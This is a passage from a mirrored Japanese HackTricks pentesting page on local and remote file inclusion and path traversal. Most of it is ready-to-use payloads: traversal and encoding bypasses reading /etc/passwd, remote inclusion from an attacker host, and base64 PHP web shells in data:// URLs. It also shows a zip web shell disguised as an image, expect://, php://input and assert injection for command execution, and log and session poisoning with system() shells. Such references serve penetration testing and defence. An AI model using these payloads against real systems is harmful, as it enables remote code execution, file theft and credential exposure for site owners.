mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
620 lines
39 KiB
Markdown
620 lines
39 KiB
Markdown
# ファイルインクルージョン/パストラバーサル
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## ファイルインクルージョン
|
||
|
||
**リモートファイルインクルージョン (RFI):** ファイルはリモートサーバーから読み込まれます (最良: コードを書いてサーバーがそれを実行します)。PHPでは、これは**デフォルトで無効**です (**allow_url_include**)。\
|
||
**ローカルファイルインクルージョン (LFI):** サーバーはローカルファイルを読み込みます。
|
||
|
||
脆弱性は、ユーザーがサーバーによって読み込まれるファイルを何らかの方法で制御できるときに発生します。
|
||
|
||
脆弱な**PHP関数**: require, require_once, include, include_once
|
||
|
||
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||
|
||
## ブラインド - 興味深い - LFI2RCEファイル
|
||
```python
|
||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||
```
|
||
### **Linux**
|
||
|
||
**いくつかの*nix LFIリストを混ぜて、さらにパスを追加してこれを作成しました:**
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||
{{#endref}}
|
||
|
||
`/`を`\`に変更してみてください。\
|
||
`../../../../../`を追加してみてください。
|
||
|
||
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)にあります。
|
||
|
||
### **Windows**
|
||
|
||
異なるワードリストのマージ:
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||
{{#endref}}
|
||
|
||
`/`を`\`に変更してみてください。\
|
||
`C:/`を削除して`../../../../../`を追加してみてください。
|
||
|
||
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)にあります。
|
||
|
||
### **OS X**
|
||
|
||
LinuxのLFIリストを確認してください。
|
||
|
||
## 基本的なLFIとバイパス
|
||
|
||
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/>))。
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd
|
||
```
|
||
### トラバーサルシーケンスが非再帰的に削除されました
|
||
```python
|
||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
```
|
||
### **ヌルバイト (%00)**
|
||
|
||
提供された文字列の末尾にさらに文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd%00
|
||
```
|
||
これは**PHP 5.4以降解決されています**
|
||
|
||
### **エンコーディング**
|
||
|
||
ダブルURLエンコード(およびその他)などの非標準エンコーディングを使用できます:
|
||
```
|
||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
```
|
||
### 既存のフォルダーから
|
||
|
||
おそらくバックエンドはフォルダーパスをチェックしています:
|
||
```python
|
||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
```
|
||
### サーバー上のファイルシステムディレクトリの探索
|
||
|
||
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを決定し、特定のフォルダの存在を探ることを含みます。以下は、これを達成するための詳細な方法です:
|
||
|
||
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd`ファイルを正常に取得します(サーバーがLinuxベースの場合に適用)。例として、深さが3であることを示すURLは次のように構成されるかもしれません:
|
||
```bash
|
||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||
```
|
||
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`)をURLに追加し、その後`/etc/passwd`に戻ります。追加のディレクトリレベルは深さを1つ増やす必要があります:
|
||
```bash
|
||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||
```
|
||
3. **結果の解釈:** サーバーの応答はフォルダーの存在を示します:
|
||
- **エラー / 出力なし:** フォルダー `private` は指定された場所に存在しない可能性があります。
|
||
- **`/etc/passwd` の内容:** `private` フォルダーの存在が確認されました。
|
||
4. **再帰的探索:** 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
|
||
|
||
ファイルシステム内の異なる場所にあるディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、`/var/www/` に `private` ディレクトリが含まれているか確認するには(現在のディレクトリが深さ3にあると仮定して)、次のようにします:
|
||
```bash
|
||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||
```
|
||
### **パストランケーション技術**
|
||
|
||
Path truncationは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
|
||
|
||
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば:
|
||
|
||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
|
||
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
|
||
- 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
|
||
|
||
提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
|
||
```
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
```
|
||
|
||
```
|
||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
```
|
||
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの設定によって異なる場合があります。
|
||
|
||
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
|
||
- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
|
||
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な手法です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
|
||
|
||
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
||
|
||
**この脆弱性はPHP 5.3で修正されました。**
|
||
|
||
### **フィルターバイパストリック**
|
||
```
|
||
http://example.com/index.php?page=....//....//etc/passwd
|
||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
http://example.com/index.php?page=PhP://filter
|
||
```
|
||
## リモートファイルインクルージョン
|
||
|
||
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能しません。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
|
||
```python
|
||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
```
|
||
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
|
||
```
|
||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||
```
|
||
> [!NOTE]
|
||
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、そのため文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。
|
||
|
||
別の例は **`php://` プロトコルを使用しない** ものです:
|
||
```
|
||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||
```
|
||
## Python ルート要素
|
||
|
||
In python in a code like this one:
|
||
```python
|
||
# file_name is controlled by a user
|
||
os.path.join(os.getcwd(), "public", file_name)
|
||
```
|
||
ユーザーが**`file_name`**に**絶対パス**を渡すと、**前のパスは単に削除されます**:
|
||
```python
|
||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||
'/etc/passwd'
|
||
```
|
||
意図された動作は、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) によると次の通りです:
|
||
|
||
> コンポーネントが絶対パスである場合、すべての以前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
|
||
|
||
## Java ディレクトリのリスト
|
||
|
||
Javaでパストラバーサルがある場合、**ファイルではなくディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。
|
||
|
||
## トップ 25 パラメータ
|
||
|
||
ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から):
|
||
```
|
||
?cat={payload}
|
||
?dir={payload}
|
||
?action={payload}
|
||
?board={payload}
|
||
?date={payload}
|
||
?detail={payload}
|
||
?file={payload}
|
||
?download={payload}
|
||
?path={payload}
|
||
?folder={payload}
|
||
?prefix={payload}
|
||
?include={payload}
|
||
?page={payload}
|
||
?inc={payload}
|
||
?locate={payload}
|
||
?show={payload}
|
||
?doc={payload}
|
||
?site={payload}
|
||
?type={payload}
|
||
?view={payload}
|
||
?content={payload}
|
||
?document={payload}
|
||
?layout={payload}
|
||
?mod={payload}
|
||
?conf={payload}
|
||
```
|
||
## LFI / RFI using PHP wrappers & protocols
|
||
|
||
### php://filter
|
||
|
||
PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な**修正操作を実行**することを許可します。フィルターには5つのカテゴリがあります:
|
||
|
||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||
- `string.rot13`
|
||
- `string.toupper`
|
||
- `string.tolower`
|
||
- `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべて)
|
||
- このフィルターは、現代のPHPのバージョンからは消えています
|
||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||
- `convert.base64-encode`
|
||
- `convert.base64-decode`
|
||
- `convert.quoted-printable-encode`
|
||
- `convert.quoted-printable-decode`
|
||
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
|
||
|
||
> [!WARNING]
|
||
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを書くためや、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
|
||
|
||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に抽出する場合に便利)
|
||
- `zlib.inflate`: データを解凍します
|
||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||
- `mcrypt.*` : 非推奨
|
||
- `mdecrypt.*` : 非推奨
|
||
- その他のフィルター
|
||
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
|
||
- `consumed`
|
||
- `dechunk`: HTTPチャンクエンコーディングを逆転させます
|
||
- `convert.*`
|
||
```php
|
||
# String Filters
|
||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
||
## Same chain without the "|" char
|
||
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
||
## string.string_tags example
|
||
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
||
|
||
# Conversion filter
|
||
## B64 decode
|
||
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
||
## Chain B64 encode and decode
|
||
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
||
## convert.quoted-printable-encode example
|
||
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
||
=C2=A3hellooo=3D
|
||
## convert.iconv.utf-8.utf-16le
|
||
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
||
|
||
# Compresion Filter
|
||
## Compress + B64
|
||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||
```
|
||
> [!WARNING]
|
||
> "php://filter"の部分は大文字と小文字を区別しません
|
||
|
||
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
|
||
|
||
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型漏洩(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
|
||
|
||
元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
|
||
|
||
- コーデック**`UCS-4LE`**を使用して、テキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
|
||
- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
|
||
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数であるかどうかを知ることができます。
|
||
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
|
||
- コーデック**convert.iconv.UNICODE.CP930**は、すべての文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。
|
||
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。
|
||
- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。
|
||
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
|
||
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することです(これにより、初期テキストの最初の2バイトが削除されます)。これを繰り返して、漏洩させたいビットに到達するまで続けます。
|
||
|
||
投稿には、この操作を自動的に実行するツールも漏洩しています:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||
|
||
### php://fd
|
||
|
||
このラッパーは、プロセスがオープンしているファイル記述子にアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
|
||
```php
|
||
echo file_get_contents("php://fd/3");
|
||
$myfile = fopen("/etc/passwd", "r");
|
||
```
|
||
**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスすることもできます(攻撃にどのように役立つかは不明です)。
|
||
|
||
### zip:// と rar://
|
||
|
||
PHPShellを含むZipまたはRarファイルをアップロードしてアクセスします。\
|
||
rarプロトコルを悪用できるようにするには、**特に有効化する必要があります**。
|
||
```bash
|
||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||
zip payload.zip payload.php;
|
||
mv payload.zip shell.jpg;
|
||
rm payload.php
|
||
|
||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||
|
||
# To compress with rar
|
||
rar a payload.rar payload.php;
|
||
mv payload.rar shell.jpg;
|
||
rm payload.php
|
||
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
||
```
|
||
### data://
|
||
```
|
||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
このプロトコルは、phpの設定 **`allow_url_open`** と **`allow_url_include`** によって制限されています。
|
||
|
||
### expect://
|
||
|
||
Expectを有効にする必要があります。これを使用してコードを実行できます:
|
||
```
|
||
http://example.com/index.php?page=expect://id
|
||
http://example.com/index.php?page=expect://ls
|
||
```
|
||
### input://
|
||
|
||
POSTパラメータにペイロードを指定してください:
|
||
```bash
|
||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||
```
|
||
### phar://
|
||
|
||
`.phar`ファイルは、ウェブアプリケーションがファイル読み込みのために`include`のような関数を利用する際に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています:
|
||
```php
|
||
<?php
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||
$phar->stopBuffering();
|
||
```
|
||
`.phar`ファイルをコンパイルするには、次のコマンドを実行する必要があります:
|
||
```bash
|
||
php --define phar.readonly=0 create_path.php
|
||
```
|
||
実行時に `test.phar` というファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。
|
||
|
||
LFI が PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。
|
||
|
||
`.phar` ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください:
|
||
|
||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||
|
||
{{#ref}}
|
||
phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
### CVE-2024-2961
|
||
|
||
**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は [**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||
非常に簡単な要約:PHP ヒープの **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更する** ことにより、**任意のアドレスに何でも書き込む** ことができるようになり、**`system`** を呼び出すためのフックが追加されました。\
|
||
特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。
|
||
|
||
### その他のプロトコル
|
||
|
||
ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
|
||
|
||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
|
||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス
|
||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス
|
||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
|
||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
|
||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2
|
||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
|
||
|
||
## PHP の 'assert' を介した LFI
|
||
|
||
PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
|
||
|
||
例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
|
||
```bash
|
||
assert("strpos('$file', '..') === false") or die("");
|
||
```
|
||
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:
|
||
```plaintext
|
||
' and die(highlight_file('/etc/passwd')) or '
|
||
```
|
||
同様に、任意のシステムコマンドを実行するために、次のようなものを使用することがあります:
|
||
```plaintext
|
||
' and die(system("id")) or '
|
||
```
|
||
重要なのは、**これらのペイロードをURLエンコードすること**です。
|
||
|
||
## PHPブラインドパススラベル
|
||
|
||
> [!WARNING]
|
||
> この技術は、**ファイルパス**を**制御**できる**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
|
||
|
||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパススラベルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
|
||
|
||
要約すると、この技術は**"UCS-4LE"エンコーディング**を使用して、ファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
|
||
|
||
次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**。
|
||
|
||
**脆弱性がある可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これで読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||
|
||
技術的な詳細については、前述の投稿を確認してください!
|
||
|
||
## LFI2RCE
|
||
|
||
### リモートファイルインクルージョン
|
||
|
||
前述の通り、[**このリンクを参照してください**](#remote-file-inclusion)。
|
||
|
||
### Apache/Nginxログファイル経由
|
||
|
||
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内にPHPシェルのような**`<?php system($_GET['c']); ?>`**を設定し、そのファイルをインクルードすることができます。
|
||
|
||
> [!WARNING]
|
||
> シェルに**シングルクオート**の代わりに**ダブルクオート**を使用すると、ダブルクオートが文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
|
||
>
|
||
> また、**ペイロードを正しく記述する**ことを確認してください。さもなければ、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
|
||
|
||
他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
|
||
他の可能なログパス:
|
||
```python
|
||
/var/log/apache2/access.log
|
||
/var/log/apache/access.log
|
||
/var/log/apache2/error.log
|
||
/var/log/apache/error.log
|
||
/usr/local/apache/log/error_log
|
||
/usr/local/apache2/log/error_log
|
||
/var/log/nginx/access.log
|
||
/var/log/nginx/error.log
|
||
/var/log/httpd/error_log
|
||
```
|
||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||
|
||
### メール経由
|
||
|
||
**内部アカウントにメールを送信** (user@localhost) し、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めることを試みます。
|
||
|
||
### /proc/\*/fd/\* 経由
|
||
|
||
1. 多くのシェルをアップロードします (例えば: 100)
|
||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで、$PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能) です。
|
||
|
||
### /proc/self/environ 経由
|
||
|
||
ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
|
||
```
|
||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||
User-Agent: <?=phpinfo(); ?>
|
||
```
|
||
### Via upload
|
||
|
||
ファイルをアップロードできる場合は、その中にシェルペイロードを注入してください(例: `<?php system($_GET['c']); ?>` )。
|
||
```
|
||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
```
|
||
ファイルを読みやすく保つためには、画像/doc/pdfのメタデータに注入するのが最適です。
|
||
|
||
### Zipファイルのアップロード経由
|
||
|
||
PHPシェルを圧縮したZIPファイルをアップロードし、アクセスします:
|
||
```python
|
||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||
```
|
||
### Via PHP sessions
|
||
|
||
ウェブサイトがPHPセッション(PHPSESSID)を使用しているか確認してください。
|
||
```
|
||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
```
|
||
PHPでは、これらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ファイルに保存されます。
|
||
```
|
||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
```
|
||
クッキーを `<?php system('cat /etc/passwd');?>` に設定します。
|
||
```
|
||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
```
|
||
PHPセッションファイルを含めるためにLFIを使用します。
|
||
```
|
||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||
```
|
||
### Via ssh
|
||
|
||
sshがアクティブな場合、どのユーザーが使用されているかを確認します(/proc/self/status & /etc/passwd)し、**\<HOME>/.ssh/id_rsa**にアクセスを試みます。
|
||
|
||
### **Via** **vsftpd** _**logs**_
|
||
|
||
FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Local File Inclusion (LFI)の脆弱性が存在し、公開されたvsftpdサーバーにアクセスできるシナリオでは、以下の手順を考慮できます。
|
||
|
||
1. ログインプロセス中にユーザー名フィールドにPHPペイロードを注入します。
|
||
